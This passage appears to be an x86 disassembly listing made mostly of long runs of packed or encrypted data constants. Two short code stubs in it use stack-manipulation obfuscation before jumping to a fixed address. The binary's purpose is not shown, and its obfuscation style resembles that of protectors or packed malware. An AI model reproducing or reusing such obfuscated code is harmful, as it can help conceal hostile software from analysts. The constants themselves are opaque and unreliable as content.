		dd 238C3B9h, 3F00736Ah,	20D5A45Ah, 0F8C7ABBDh, 66DDE9C3h
		dd 38B9486h, 0B7C31E04h, 0E35500A9h, 2B636DC1h,	0B4530A6Fh
		dd 2C1184EAh, 0ABD6E574h, 0AD292D26h, 0C4E6894h, 99F4FF14h
		dd 795056C9h, 0E7AC3129h, 11E837h, 0C0D40000h, 3D65FCC0h
		dd 995766CCh, 483CA71Ah, 0E8B6DF9Ah, 12h, 0CB314EE7h, 93D83C17h
		dd 0D10E6CFBh, 0D9CF4D49h, 0BF0F343Bh, 815B5AD7h, 6F31C3h
		dd 33C28B00h, 1D858BC9h, 8B06A81Ch, 8B660B34h, 0D9F681C2h
		dd 0F116ECCh, 689h, 81858B00h, 8106A82Fh, 1986A2F6h, 43C68109h
		dd 10F309Ch, 0A80B29B5h, 0B348906h, 48B0Fh, 0B8660000h
		dd 0BD099948h, 6A83375h, 8902E983h, 0A830558Dh,	8B494906h
		dd 0A81EF995h, 9CF98106h, 0FFFFF91h, 2585h, 12E800h, 6FBF0000h
		dd 0E4E801DEh, 0F850EF7Ah, 0FD9D19D2h, 0EC0D4FBFh, 1DE95Ah
		dd 532A0000h, 0B6C2D9D4h, 0CC80A07Eh, 0FF79E982h, 9594FFFFh
		dd 4F67DBB7h, 0AF631145h, 0E97E59CAh, 31h, 5CA638DAh, 0Bh dup(0)
		dd 561E900h, 0C3660000h, 0FE933C8Ah, 0A4C46FBBh, 58F659EDh
		dd 526891Dh, 4475F248h,	5AE0ADCEh, 961459F9h, 0C0460F2Dh
		dd 31753C5Fh, 1515B7B5h, 0EFB606FBh, 5CFF82A9h,	73B0FD9Dh
		dd 53A5413Ah, 88EFE66Fh, 22811739h, 0B219B2C4h,	3AD7D375h
		dd 82ADAF58h, 6860C948h, 0BE3E5FC0h, 588D0C0Ch,	645DF6AFh
		dd 97DE7D26h, 0B3FA990Ah, 0DD98B56Eh, 41798329h, 3AF588Dh
		dd 0B0238028h, 642949AAh, 0CFD65F34h, 0FEA1E5ACh, 3093175Eh
		dd 727880Ch, 8D88804Ah,	0EF72AF58h, 0A4E46F83h,	0EFD87373h
		dd 0C41E142h, 0D256F5DEh, 584970A8h, 0F952AFh, 9F343BA8h
		dd 57004A16h, 49DC07FAh, 763C637Bh, 0A223133Ah,	0C28BA976h
		dd 10B8DB44h, 49A639B8h, 0B2FFE872h, 587B6DA8h,	57D8DFAFh
		dd 0DF726F5Bh, 568E12h,	0BA910000h, 0D6AEEA1Ch,	3394AF57h
		dd 33655E13h, 2380C96Ch, 57D6DDDBh, 0ECA9C6AFh,	0F3BADE47h
		dd 690C7DAEh, 973C8320h, 91F78F0Eh, 0E5460F2Eh,	37AC0C49h
		dd 0D6706C6Eh, 19712DFh, 0A8000000h, 8A1752FFh,	0EC317419h
		dd 0D55A1F33h, 1D248D7Eh, 4EF13570h, 0FB20662Fh, 8E135EFFh
		dd 0F03D7815h, 511B8431h, 1E83CA6Eh, 6304AB0Dh,	8C19CECFh
		dd 0DE6BC57h, 0B67716B9h, 5851DE97h, 0C761C26Fh, 0A5BF218Eh
		dd 30CDCD7Fh, 9CB7AF58h, 0FCFEA71Ch, 12DF8EF0h,	0A217h
		dd 5EFF2800h, 1765F713h, 32794755h, 37339018h, 0BB3B7F89h
		dd 2E09AF58h, 0BB4A4EF8h, 1F38AF58h, 3B721699h,	5AE1FF6h
		dd 8A105DFEh, 8484C66Ch, 7EAF58BBh, 0BBDC43D5h,	52BDA9F6h
		dd 1515B733h, 0EFAF58BBh, 59FA6B44h, 1A9E8F14h,	77BCF995h
		dd 58C580AEh, 0BB407882h, 2902AF58h, 51DE9BB8h,	0BEE3AED0h
		dd 0D45DCE6Dh, 0B9E6AFCDh, 42297760h, 3015D1E1h, 3F3012DFh
		dd 0B000000h, 8E135EFFh, 0FF910650h, 4EF3AFC1h,	6E2745EAh
		dd 0F73F3EB8h, 319EA23Fh, 0BAE7A2D0h, 24543761h, 0BEDFE64Fh
		dd 0FF88B7F3h, 408A1752h, 0AF57D745h, 737F20B7h, 12DFD687h
		dd 166h, 59FFB900h, 6909EA10h, 0AAEFF24h, 2C650899h, 337A1E87h
		dd 5F1635EEh, 0FDA60FD2h, 0B97A537Eh, 22670CF7h, 0A30CACFDh
		dd 0CD7ECC85h, 2846356Fh, 0E0525134h, 12A9D3F7h, 0F0B600A8h
		dd 2A49DA47h, 0D97C2763h, 453E7B18h, 0A8181ED8h, 0E88BB600h
		dd 83A37CA1h, 19F261CEh, 6C471998h, 5899BCC3h, 6847D34h
		dd 6AB7FE9Dh, 4ED39AB9h, 4FF513CBh, 0A7FD3Dh, 0A26CC7B6h
		dd 0B600A866h, 80FBF35Ch, 8818FE07h, 199A71A7h,	9B9F2957h
		dd 69B60065h, 0A6C56ACEh, 7F35BEFh, 0E6147758h,	162h, 3B59BA39h
		dd 3C711172h, 0B572A6F7h, 0A50EBC07h, 551C4085h, 0B9E6DFC8h
		dd 155CFF60h, 0D3199F88h, 60254AB5h, 0FFBC0BC3h, 2C288DBAh
		dd 0E063E533h, 0A2B600F4h, 0DD725D89h, 96021B98h, 49832935h
		dd 2032E344h, 1317BF98h, 0F1B60155h, 2E4DD246h,	0DD802367h
		dd 0F7960F94h, 8AA708BEh, 0C16E2B47h, 79B2FFE8h, 60CD4C3Fh
		dd 3557FDBFh, 0B60154F5h, 1B1FA9CFh, 0E9B60155h, 5CC3554Eh
		dd 822A7039h, 1476A896h, 5E71h,	0B6E7CA00h, 4DADDF0Bh
		dd 372F57D7h, 5357971Ch, 502F57D7h, 5BDE852Dh, 7262E39Ch
		dd 0EB8B1499h, 8AD9D16Bh, 80AB2F58h, 0F9990A97h, 0FF3E6FB4h
		dd 0A016A50Eh, 1ABBAA0Bh, 0E503754Eh, 5DEFE493h, 2F58095Dh
		dd 0F7130C27h, 58095555h, 2B042F2Fh, 92D4DFFh, 3C17AF58h
		dd 7C65EEh, 0E7400000h,	0F7D80EB5h, 509A1E5Bh, 0A5736h
		dd 85A609B6h, 75DE60C8h, 9DD47728h, 0F275EF69h,	409229E5h
		dd 0DFC8551Ch, 22C8B2E6h, 4AEEA7C1h, 0E48746E5h, 0EF6FB4ADh
		dd 0B6005BA6h, 6407E812h, 4B4FF92Dh, 39B6005Ch,	80219A1Eh
		dd 0FBBED33Ch, 6C3365B6h, 813A80C9h, 0C872A813h, 0BCAF802Fh
		dd 2CF53A15h, 1CE34009h, 5DFFEEB7h, 0E186C0E6h,	0A3C35EA4h
		dd 0EBD43288h, 8B9C0148h, 0B5E7062Dh, 0C9AED80Eh, 0BBB606FBh
		dd 0ECD71390h, 8970148h, 359E2C65h, 8D25F16h, 10100EEDh
		dd 878E1784h, 0B619ADE4h, 0D051DE97h, 0E0C3E7A2h, 0F9AAF7B2h
		dd 0FB3D165Fh, 43ECC908h, 0B5D8193Ch, 1C8703FCh, 77F33079h
		dd 0F7BBFC9h, 0EE491010h, 3C54Ah, 0B0E00000h, 1158FFCBh
		dd 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh
		dd 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8952FA4Ah, 4C281E2h
		dd 83000000h, 143304EAh, 24143124h, 5C241433h, 16B868h
		dd 240C8900h, 414568h, 24048900h, 0CBB5352h, 811E950Ch
		dd 0A43B49EBh, 0FFEB8112h, 8136F710h, 1656DEC3h, 0C3814B59h
		dd 6E160E6h, 0F75BDA89h, 0DFEA81D2h, 89C45F63h,	0EC815AD1h
		dd 4, 81242489h, 42404h, 51580000h, 9E243481h, 8F231038h
		dd 0BF570840h, 2310389Eh, 5F087831h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 0CBh, 22h, 3Eh
		dd 7FD12C9Ch, 0B8FD93DAh, 6AF2945h, 0E0FFC503h,	4DDEF476h
		dd 14F8AD76h, 4938E3h, 0E385A58h, 6361F0B1h, 601C329Eh
		dd 687E7B4h, 585FA277h,	2F864678h, 433600A1h, 4F997C00h
		dd 7423241Dh, 6A05FD8Dh, 3BA033F3h, 0DE8h, 0A35E1F00h
		dd 52109AEBh, 2E2F5EF3h, 8E0FDB1Dh, 8, 28E0Fh, 5B510000h
		dd 0C281F85Ah, 5BF0h, 6840Fh, 0C8810000h, 4AAA5B7Fh, 16CBBEh
		dd 0F5565000h, 32FF585Bh, 9E8h,	0E18E3E00h, 584EDC27h
		dd 0BF0FA5B2h, 53595BD8h, 815FFA8Ah, 0EA1994F1h, 38A0F32h
		dd 66000000h, 0F181D88Bh, 60CB2C59h, 6CDD8DBBh,	0D0F18128h
		dd 663BEB74h, 0A89D88Bh, 5800Fh, 2FB80000h, 8329981Ah
		dd 0BF0F02EAh, 834A4ADFh, 850F01EEh, 27h, 11E9h, 74292200h
		dd 0B8FE20C0h, 5989BA69h, 0BA29C033h, 1AE96049h, 0AC000000h
		dd 0E2DF267Dh, 391D9400h, 0E970C99Bh, 0FFFFFF7Ah, 6780629Ch
		dd 4D74549Ah, 14E8CCh, 0D6B90000h, 1CFC8957h, 5D53293Bh
		dd 0AF3C5C47h, 0BB7AD82Dh, 9E8730Ch, 11000000h,	0D6E5742Ch
		dd 292D26ABh, 0C0816653h, 58582D61h, 12E85Eh, 47830000h
		dd 0FA004812h, 19B0D9C2h, 0BEA01E23h, 328EF141h, 33D08166h
		dd 0C6815844h, 753Ch, 0A2D88166h, 894DBAE6h, 0EA817839h
		dd 78396C35h, 0FFDE8B66h, 59D98A36h, 0AC78166h,	49E9812Ah
		dd 0F6AA6C3h, 0B80h, 5880F00h, 0B8000000h, 0DA91CDBh, 0F387C181h
		dd 0BF662173h, 0E9812B37h, 65747F11h, 1890Fh, 89FC0000h
		dd 8057600Eh, 0F85A8ADAh, 4EE8361h, 0E015EF81h,	0EA83770Eh
		dd 0F850F01h, 0B8000000h, 56676A39h, 21E9h, 5A168800h
		dd 8166E0C5h, 0E94BB4E8h, 0FFFFFF93h, 90929612h, 2BB304Dh
		dd 0C05789Bh, 161AAE15h, 0C08BBD84h, 1ED9BD83h,	750006A8h
		dd 0E9BD8309h, 6A82Dh, 53501974h, 21B8C08Bh, 89000004h
		dd 0A807B585h, 0AC9D8D06h, 0FF06AAA1h, 83585BD3h, 0A82DE9BDh
		dd 17740006h, 21B85350h, 89000004h, 0A807B585h,	9B9D8D06h
		dd 0FF06AA9Eh, 8B585BD3h, 0D59D8BC0h, 0C606A831h, 0A815D585h
		dd 52685606h, 0FF9CA8B8h, 0A80F95B5h, 71858D06h, 0FF06AB69h
		dd 68046AD0h, 1000h, 1F01B5FFh,	6A06A8h, 0C085D0FFh, 0D850Fh
		dd 0B80000h, 8D000000h,	0A871208Dh, 8BE1FF06h, 3C38BC8h
		dd 0F8053C40h, 8B000000h, 0D3030C50h, 2065BD83h, 0F0006A8h
		dd 0E84h, 659D8B00h, 8B06A820h,	0A8051985h, 51038906h
		dd 1F858D52h, 0FF06A844h, 8BFA8BD0h, 8BD18BF1h,	0C6A4F3C8h
		dd 0A815D585h, 39685606h, 0FFD41F6Dh, 0A80F95B5h, 71858D06h
		dd 0FF06AB69h, 800068D0h, 6A0000h, 8BD0FF52h, 0D9BD83C0h
		dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
		dd 421h, 0FD58589h, 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h
		dd 740006A8h, 0B8535017h, 421h,	0FD58589h, 9D8D06A8h, 6AA9EB4h
		dd 585BD3FFh, 9D8DC08Bh, 6A82065h, 0C00B038Bh, 7840Fh
		dd 38B0000h, 89045B8Bh,	4B41B818h, 0EE80000h, 6C000000h
		dd 0D8E90424h, 533774B6h, 0B87AAF53h, 8B665AA5h, 99C281DAh
		dd 2B0000EAh, 0C68166FFh, 34FF7281h, 0F5F08117h, 5974CA25h
		dd 71C181F9h, 0B87CF607h, 61628CABh, 7E92C181h,	0C38B3BCFh
		dd 9E31E981h, 5E850BAh,	4B000000h, 2D6C7037h, 10E8h, 0E4060400h
		dd 0A39AA88h, 2DB9E47Dh, 0D807A8B2h, 5E6160F4h,	820F515Bh
		dd 15h,	10E9h, 9DEE0900h, 0B6C03AECh, 1FD93B6Ch, 0DEB2D349h
		dd 3A048FEEh, 75892EB8h, 78F78071h, 5301EF83h, 4F58D88Bh
		dd 0B70F4F4Fh, 34FF81F3h, 0FFFFF16h, 1785h, 26E900h, 5F640000h
		dd 0DC1A8CC2h, 89407533h, 2C4EC847h, 58870A0Bh,	8BBFECBEh
		dd 0FF58E95Fh, 339FFFFh, 0C1F36F2h, 0BE2A9497h,	0AE8h
		dd 75A97200h, 7818E57Eh, 609FC798h, 14E9h, 577D4F00h, 446FF16h
		dd 900E1D33h, 2668DCE9h, 0C615749Ch, 12E921h, 10AD0000h
		dd 82B582CFh, 0FC6A6593h, 1043D077h, 0BE695405h, 81665B61h
		dd 81A30BF0h, 7593C3h, 0CAB70F00h, 68h,	0C38B6600h, 0F3B70F5Ah
		dd 0F133C8Bh, 986h, 3890F00h, 0F000000h, 0F781C0BFh, 62460624h
		dd 81F18B66h, 0CB88ADEFh, 9810F3Ah, 60000000h, 8D51BB66h
		dd 61F3BF0Fh, 0C1E1C781h, 0BF0F6328h, 133C89F7h, 83D4E480h
		dd 8D0F02EAh, 3, 4ACF8B66h, 58C9814Ah, 8155B05Ch, 0FF8B58FAh
		dd 0B850FFFh, 0E9000000h, 34h, 10915EDDh, 8E0F01C3h, 15h
		dd 9E8h, 630A1F00h, 0B783ADDEh,	8E0F39E9h, 0
		dd 0FF76E959h, 11A5FFFFh, 858510C3h, 474D31F8h,	852790CCh
		dd 1B699D8Dh, 0A8B806A8h, 89000013h, 0A819C985h, 0E806h
		dd 5580000h, 0Dh, 0A8E90389h, 13h, 4E9h	dup(0)
		dd 0E9000000h, 0Fh, 3859280Ah, 2 dup(0)
		dd 0E9000000h, 4C6h, 8A105900h,	0C5410429h, 33773E5Ah
		dd 63A7E290h, 54D29FC0h, 0C768AACFh, 0F3933C8Ah, 0A5C768BEh
		dd 56F55EECh, 0C9138B1Fh, 7197BBFh, 240349B6h, 88155CFFh
		dd 0EF3B7617h, 0CB682144h, 2D723B5Ah, 7D12DF74h, 0CC088ED9h
		dd 39120C83h, 65CAA3F4h, 8D941D8Eh, 0C8092FEEh,	0ACF1EAA7h
		dd 9B04827Bh, 0A90AB0F9h, 60254A8Bh, 0A7F12A77h, 9BD272DDh
		dd 6DED8D16h, 57E0DFDBh, 918AA5AFh, 3FE0CD0Ch, 0BCF1927Dh
		dd 0D891B37Ch, 0B42E142h, 0E161A4A6h, 2242AF57h, 110A4FE3h
		dd 0D971138Ch, 0C91C2E5Eh, 327F68D0h, 0CA49EA43h, 787A3BB0h
		dd 12DF908Ch, 496Bh, 5CFFBC00h,	484E8815h, 0B2AF57D7h
		dd 827E7C25h, 4D12DFD6h, 298FC662h, 1EBh, 52FF3C00h, 74198A17h
		dd 5E439531h, 77161C45h, 0F9073A5h, 0C18CAE63h,	76A7E325h
		dd 0B29DAF58h, 0CF954D9h, 0B2F79CA3h, 0E1A8CB74h, 30BA7EA5h
		dd 47A0FAB2h, 0DD42D673h, 91D479BCh, 85AA7BB8h,	6DC63C0h
		dd 66B2FB9Dh, 7C1D248Dh, 2B4AF531h, 375B4462h, 0BCFC2D72h
		dd 7B3256CFh, 86CF6D36h, 0A9E08819h, 87288504h,	62C3A808h
		dd 0DF779450h, 67B312h,	0FF940000h, 158E135Eh, 0D89DB273h
		dd 0C469425Bh, 2A773A5Bh, 0E93DA79h, 0EE6D36A7h, 4E55DE4Fh
		dd 30BA602Dh, 4F1CC75Eh, 0C04AEE8Fh, 2E733E5Fh,	179CD975h
		dd 5959DAB1h, 12DF539Dh, 3FB8h,	5EFF8300h, 6FB4FD9Bh, 47D8453Eh
		dd 0B1C76C25h, 0D172793Ah, 0BAE00E9Ch, 57D70800h, 6CACDEAFh
		dd 56AF57D7h, 0D642EDFDh, 1752FFCDh, 0D745408Ah, 20B7AF57h
		dd 0D687737Fh, 16612DFh, 0B9000000h, 0F79859FFh, 4B2475BAh
		dd 571E3DE6h, 642D50B3h, 0D94AEE3Fh, 0A8F4BD16h, 0D6C0F802h
		dd 0A982AF57h, 0FE358051h, 1890F301h, 62B8F197h, 1AC07BD9h
		dd 649E0h, 93103BB6h, 0EC3A7312h, 42E12043h, 0B1AAEF83h
		dd 95935BD8h, 0EB60006h, 26FF2461h, 72E14E07h, 0C7991899h
		dd 5D10329Dh, 0B8BF60DBh, 0E54EDC95h, 1A20F46h,	0CC85A362h
		dd 62CB4ED3h, 1F9BBAC1h, 5ADEDh, 0C3BC97B6h, 0F9FBD747h
		dd 28021477h, 25000001h, 0D80EB5E7h, 0D71008B2h, 59F2AF57h
		dd 70F315DFh, 76B60006h, 67ABEC8h, 6748B600h, 0F6278CC5h
		dd 0DA759B1Dh, 68A9CC55h, 7D1E8FCAh, 0C1BAF330h, 0D095BA25h
		dd 74DE5A53h, 0BCE1A8CBh, 0A40940E3h, 8D1257FBh, 0F63B7E14h
		dd 6B2E44A5h, 52D348C6h, 8E672A4Bh, 209AA03h, 389C2A63h
		dd 1477F94Ch, 47ABh, 0B6E77C00h, 0D78484C6h, 0D57EAF57h
		dd 5CBCCEFCh, 262F57D7h, 289FD90Dh, 0C8C07AB7h,	0BA2F5835h
		dd 0FBB85991h, 0E872D147h, 2F57F1B0h, 0F9E849E6h, 0DC420C58h
		dd 6E17730h, 2B4FF92Dh,	19AF580Ch, 7C67E83Eh, 42000000h
		dd 0D80EB5E7h, 0ACFAEh,	159AB5B6h, 1AA0E98Ch, 3A7F13FCh
		dd 0AB74A4F5h, 9A5CC188h, 0B6000C99h, 7114FFE5h, 0B2AFB38h
		dd 0D3CCDD42h, 3E45EE45h, 2AD0561Fh, 0B3E5A8C9h, 0CFFB40F4h
		dd 0C2367A1h, 36E1B600h, 0B1CE78E2h, 93BCAF4Eh,	8BAA7BB8h
		dd 0AFC45DC2h, 0B7DC45EAh, 1AAADF2h, 0C5EE11A0h, 99EF4D5Ch
		dd 0AF4F2B6Fh, 453E19BCh, 920A67A1h, 5FF8C35Eh,	0A0C22DCBh
		dd 0E7604BEDh, 0AFE686B5h, 9EA10B6h, 9C9C266Fh,	66AF57D7h
		dd 47816BCDh, 0B6071A2Ah, 17D4BA3Ch, 0D3E04482h, 1390BB45h
		dd 6CBAF392h, 0EA2E5886h, 0D8B6070Ch, 0D1008B2h, 59F2B607h
		dd 0C467C860h, 9C3A208Dh, 70D2E6Ah, 0FD3B14B6h,	0FD6D636Bh
		dd 189972F4h, 0EF3B7211h, 0B2E02144h, 55911EF7h, 0A961C56Ah
		dd 84B3A9E8h, 60CF6942h, 272A7732h, 7F1E258Eh, 694941FBh
		dd 103BF4FDh, 9A05E327h, 0BC63B5F8h, 0F253D099h, 3, 0FFCBB0D5h
		dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh
		dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 55E28952h
		dd 4BDh, 5DEA0100h, 8704EA83h, 525C2414h, 0C281E289h, 4
		dd 4EA81h, 14870000h, 2C895C24h, 2F906824h, 1C890000h
		dd 0C4BA5224h, 8170E973h, 0C543ADCAh, 19B95138h, 0C117AB29h
		dd 0E1C105E1h, 0E9814107h, 344F5EEFh, 8959CA31h, 0EC815AD5h
		dd 4, 81242489h, 42404h, 835B0000h, 2C8904ECh, 8438F24h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dw 0A1B5h
		dd 23B839DBh, 306AF47h,	7CE0FFC5h, 5C142E63h, 0C35E2871h
		dd 0ED45560Eh, 0AE76994Fh, 2211F24Eh, 834D41A1h, 8221C5DCh
		dd 61290660h, 0C1756B1Eh, 432BB47Dh, 1329639Fh,	660CDF31h
		dd 6C42F5F4h, 0CB4278C7h, 802B0036h, 761DC93Ah,	8513A4CFh
		dd 0EB3B365Eh, 1456B143h, 4C3C010Eh, 9D7E2AB9h,	0B26BC300h
		dd 386D0742h, 7B27CD37h, 0E9587F9Ah, 3Bh, 35BD8B60h, 8306A80Dh
		dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h
		dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh,	0F98107h
		dd 0F000001h, 0FFFFD382h, 8BC361FFh, 6D8D8DC8h,	6A06AF49h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 43EBC350h, 97990A3Dh, 4DBD29FBh, 6006A817h
		dd 0C6D958Bh, 840F06A8h, 5, 0DADB8166h,	8D8961E6h, 6A805B9h
		dd 1ADBD89h, 85C706A8h,	6A81469h, 5F60h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 69C35040h, 0BBD85C7h
		dd 6A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 140424h, 53430000h, 8B665EC3h, 0B1B5FFD9h, 6A06A801h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0F74BC350h, 7DCB27A6h, 13E8FBh, 2FF00000h
		dd 0EF489720h, 0D055C73Eh, 905D7291h, 0D2F0BBCEh, 0D5950341h
		dd 5F06A830h, 0FFC7B70Fh, 0A820DD95h, 25953106h, 6A06A80Bh
		dd 3195FF00h, 8B06A81Bh, 0C76CEBC0h, 687961CAh,	8C50A3BDh
		dd 38D76180h, 71A32C26h, 3159E76Eh, 0C16C64FCh,	56D3BA0h
		dd 5BB5F5EFh, 6E7EBC3Ch, 8FC45F56h, 1B8ED8D1h, 507625B6h
		dd 95EB6459h, 66030DC4h, 12372D5Ch, 2B6658h, 0DE320947h
		dd 9259F66Eh, 0F62A3C69h, 33DA9F3Dh, 0CD8C6B9Bh, 0E4BDDB25h
		dd 9CEE46F9h, 62A25EBCh, 0CA38BB56h, 296DD7FCh,	0E86AECEDh
		dd 5, 0A9F794A2h, 0DB86640h, 958B59E6h,	6A81549h, 62F5C181h
		dd 6E90000h, 3D000000h,	0B72A3F10h, 18816886h, 9D290000h
		dd 6A82F85h, 0DA81665Fh, 31FF3761h, 1F89BD89h, 605E06A8h
		dd 2840Fh, 61600000h, 2E218D8Bh, 816106A8h, 42298DEEh
		dd 0AE800h, 510A0000h, 16FCFB83h, 0A044C486h, 2649850Bh
		dd 815806A8h, 4D37F7F6h, 0A8F68132h, 8B7AF416h,	0A801F585h
		dd 51318906h, 5849F780h, 0F9E1E981h, 0D08011CCh, 0DDC18121h
		dd 0F11CCF9h, 1E8Ah, 85236000h,	6A80151h, 11E9h, 75FDC300h
		dd 976AC6Ah, 45905A93h,	2575E63Ch, 4F611BF3h, 13850Fh
		dd 0B7560000h, 32E95AD2h, 39000000h, 0D9374A93h, 3F19D413h
		dd 0AE9BDh, 65FA0000h, 0C842792Bh, 0E835CAE3h, 0FFFF51E9h
		dd 458090FFh, 16A482Ch,	0C6D0D4FCh, 7D45B376h, 0AE5FA085h
		dd 0D90CEBFCh, 9B7A3653h, 0FF35C4B1h, 0E918E5F7h, 646h
		dd 63AE9h, 21680F00h, 50153AE5h, 86CF69CAh, 0B6F39F00h
		dd 0E3AECF70h, 7999D8A7h, 0AE1195D8h, 0DA45C18Ch, 0CB7F3BAh
		dd 29A2069h, 216AAED8h,	1258B607h, 155CFF35h, 3C751788h
		dd 410C2EF7h, 0D6F406DCh, 0FCE28472h, 3C1558F9h, 5F1233FCh
		dd 7D3051D2h, 86C36F30h, 90D97F60h, 89C01A13h, 0E34CC944h
		dd 45DE4DEBh, 0F46E223h, 139089A2h, 7BB8FD92h, 0DB902B2h
		dd 75495FBh, 5FC46FB6h,	5FEBA2C6h, 0F79554F4h, 9E58C5BEh
		dd 32A153A7h, 8A175AFCh, 0EF347919h, 93228328h,	30AAB00h
		dd 709E2C65h, 30EB19E6h, 0CCDD420Fh, 451C1532h,	8E540626h
		dd 0E4342D52h, 9C4AF123h, 50E6086Ah, 0CC51FA39h, 42783153h
		dd 89C47208h, 5A29A1E4h, 0A6D418C8h, 0D436E82h,	953E8414h
		dd 0F571BEF7h, 0F325680Ah, 0BCABFE75h, 0CC89A56Ch, 0D491BE67h
		dd 0C263C84Fh, 4CD198BBh, 2B33625Bh, 0AC3F7B8Dh, 10D6CBCh
		dd 73E3710Ah, 51C77072h, 123239FAh, 2044AF5Bh, 45D3C469h
		dd 8DAE11FFh, 7DDF68C0h, 19FA20C6h, 0D49DBB7Ah,	33655E4Fh
		dd 64A70235h, 0CA57C073h, 64A70400h, 59BAA073h,	0A0EB838h
		dd 0F87364A7h, 5932665Fh, 6EEDAD8h, 1309D6D3h, 12000000h
		dd 703559BAh, 98DD7233h, 8F29021Bh, 3C300h, 5DFF1B00h
		dd 72168F14h, 4248F3Bh,	0F5EEA7C5h, 0DD4AC0A3h,	662F4D54h
		dd 75DD7F20h, 52155A65h, 0AB08E1E4h, 7A3F54BFh,	15B4E435h
		dd 20AAB0EFh, 36107562h, 0F853C5B8h, 880C3037h,	58353A7Eh
		dd 362F08AFh, 60294FF0h, 96BC27C3h, 0DB5D4ED3h,	4F7B3E54h
		dd 1A285C0Dh, 48E02551h, 0F6BF14DBh, 0BA0049EFh, 9AE14B40h
		dd 7A37582Eh, 0AEE3832Ch, 0BFFA9778h, 5B551B27h, 66B27823h
		dd 377A1C85h, 0E30BEAh,	0B3FA9A5Fh, 0D44455DAh,	8FAFB67Fh
		dd 38D224C2h, 0B85F2615h, 4FD0BAFEh, 0D4h, 0E9ABE76Ah
		dd 0C01D1B5Dh, 4EEE5FECh, 20812E07h, 4DF6347Dh,	3D3D622Bh
		dd 0AF5800FDh, 4B52D3F8h, 7D26642Dh, 0BF2371DDh, 32F1A353h
		dd 284BD459h, 0E4513C61h, 5F12343Bh, 0E22748ABh, 84140D40h
		dd 0B8F5953Eh, 989AA7Bh, 57FBBBFFh, 0D96389AFh,	0AF57FBE1h
		dd 0A69F88A3h, 0CC85A879h, 329ABE67h, 0A1900BE2h, 0DA4730B5h
		dd 3F642949h, 69CA63EEh, 258E27EAh, 0F5317C1Eh,	0CF82A40Fh
		dd 0E8A5C669h, 7CFF244Bh, 940D92D7h, 2576BBFEh,	41EEA3C4h
		dd 382763A5h, 321DAF58h, 0FE7D268Fh, 0B8C26872h, 0AF583880h
		dd 0D44FE942h, 6E23444Bh, 9CD577D8h, 37D0D717h,	3AB7AF58h
		dd 86A53779h, 6AAED806h, 58AF57E7h, 8118E7FFh, 8EAE71A7h
		dd 3F642D4Fh, 8AB1F5EEh, 8F145DFFh, 0F23F7616h,	161D862Fh
		dd 11EB3F76h, 0AF57DBF2h, 25678D39h, 0AF57DBE5h, 702474DFh
		dd 12DFD785h, 0FFFF0460h, 0F5997AFFh, 0C93A73B0h, 6FB8E5A8h
		dd 30BAE2C9h, 6F04B9EDh, 5A94852Ah, 0C7D4BDEh, 0ABFC2168h
		dd 291ABA0Dh, 0BC6A430Ah, 6E1BF03Ah, 56C2A633h,	3F14668Ch
		dd 0B0A43FE0h, 8C63E533h, 76B60070h, 298A50DDh,	4BD44409h
		dd 5A456128h, 0FB2C7134h, 0C96CD7BDh, 0B5C72380h, 916941E9h
		dd 278820E6h, 40E14E0Bh, 79EFB21Eh, 0E12E526Fh,	58FAAB08h
		dd 95028815h, 0BD2E8D0Ch, 74EEDF4h, 347D2083h, 0BF286FEFh
		dd 0C865B600h, 0FC3D6067h, 0EE3C155Ch, 0C26F2645h, 0BA60DB79h
		dd 0A8EC1500h, 0C644EFBCh, 0BE6CD745h, 5836EA0Ch, 8B2D8C3h
		dd 0C3583710h, 2ABCF593h, 0B77DC901h, 48D5A9FDh, 0AB14D25Fh
		dd 672E4E8Bh, 0A008E13Ah, 96145DFFh, 0AFCE0F2Dh, 7760B9E6h
		dd 0B4BA3C2Ah, 6B46A225h, 0D4904534h, 0ED744E1Ah, 788ABD4Bh
		dd 7F193FF2h, 1538E936h, 0BB10D75Ch, 0D11F7BFAh, 781911ABh
		dd 0A1EB3FF2h, 8F259635h, 0E3352E14h, 0FCA0A708h, 0ACCE71B5h
		dd 1986CF69h, 5C8A1700h, 9909D91Ah, 0A90F0870h,	822F6606h
		dd 0E74C0121h, 0C855103Eh, 3C43EC49h, 0D0C9561Bh, 51D2B9E7h
		dd 45D85541h, 0E6B082h,	0FF8B0000h, 30931752h, 3E7A8C08h
		dd 4AF57D7h, 0D29BBA2Bh, 27635C4Dh, 7793D67Ch, 728E98Ch
		dd 0DBB4E54Ah, 69D34556h, 37722083h, 0D81D3EE1h, 64B5FAB7h
		dd 0F3943F8Bh, 0D05D1836h, 8D66234Fh, 8DAD1694h, 0BBD97AC0h
		dd 680BB4F2h, 781A8521h, 0D72EBD35h, 0AA1F0B2Ch, 1C5E840Eh
		dd 0D577E91Bh, 0AF5803D5h, 3B4A84AFh, 0CB69DA18h, 0AC0C1D82h
		dd 84A76203h, 766F2645h, 0B6B4109Dh, 37612C4Dh,	0A8CB54h
